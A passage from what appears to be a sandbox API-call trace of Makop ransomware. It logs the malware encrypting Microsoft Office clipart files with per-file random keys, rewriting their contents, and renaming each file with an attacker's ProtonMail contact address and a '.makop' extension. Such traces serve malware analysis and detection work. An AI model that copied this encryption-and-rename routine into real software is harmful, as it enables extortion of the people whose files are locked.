dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.223] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2576, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2576, lpOverlapped=0x0) returned 1 [0109.224] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2580, dwBufLen=0x2580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2580) returned 1 [0109.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.225] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2580, lpOverlapped=0x0) returned 1 [0109.225] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.225] SetEndOfFile (hFile=0xf0) returned 1 [0109.232] GetProcessHeap () returned 0x48a0000 [0109.232] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.232] GetProcessHeap () returned 0x48a0000 [0109.232] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.232] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.234] CloseHandle (hObject=0xf0) returned 1 [0109.234] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0109.234] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0109.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.234] GetProcessHeap () returned 0x48a0000 [0109.235] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.235] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.235] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.235] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.235] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.235] GetProcessHeap () returned 0x48a0000 [0109.235] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.235] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.235] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.235] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.240] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.240] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.240] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.240] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.241] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.241] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.241] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6ba0, lpOverlapped=0x0) returned 1 [0109.243] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6ba0) returned 1 [0109.244] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.244] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6ba0, lpOverlapped=0x0) returned 1 [0109.245] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.245] SetEndOfFile (hFile=0xf0) returned 1 [0109.252] GetProcessHeap () returned 0x48a0000 [0109.252] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.252] GetProcessHeap () returned 0x48a0000 [0109.252] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.252] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.253] CloseHandle (hObject=0xf0) returned 1 [0109.253] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0109.253] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0109.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.254] GetProcessHeap () returned 0x48a0000 [0109.254] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.254] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.254] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.254] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.260] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.260] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.260] GetProcessHeap () returned 0x48a0000 [0109.260] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.260] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.260] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.260] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.260] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.261] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.261] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.261] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.261] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.261] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.261] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.261] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2cec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2cec, lpOverlapped=0x0) returned 1 [0109.263] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2cf0) returned 1 [0109.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.263] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2cf0, lpOverlapped=0x0) returned 1 [0109.264] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.264] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.264] SetEndOfFile (hFile=0xf0) returned 1 [0109.272] GetProcessHeap () returned 0x48a0000 [0109.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.272] GetProcessHeap () returned 0x48a0000 [0109.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.272] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.273] CloseHandle (hObject=0xf0) returned 1 [0109.274] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0109.274] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0109.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.277] GetProcessHeap () returned 0x48a0000 [0109.277] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.277] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.277] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.277] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.282] GetProcessHeap () returned 0x48a0000 [0109.282] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.282] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.282] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.282] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.282] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.283] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.283] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.283] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1138, lpOverlapped=0x0) returned 1 [0109.285] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1140, dwBufLen=0x1140 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1140) returned 1 [0109.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1140, lpOverlapped=0x0) returned 1 [0109.285] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.286] SetEndOfFile (hFile=0xf0) returned 1 [0109.293] GetProcessHeap () returned 0x48a0000 [0109.293] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.293] GetProcessHeap () returned 0x48a0000 [0109.293] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.293] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.295] CloseHandle (hObject=0xf0) returned 1 [0109.295] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0109.295] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0109.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.296] GetProcessHeap () returned 0x48a0000 [0109.296] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.296] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.296] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.296] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.296] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.296] GetProcessHeap () returned 0x48a0000 [0109.296] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.296] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.296] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.297] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.301] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.301] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.302] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.302] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.302] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, 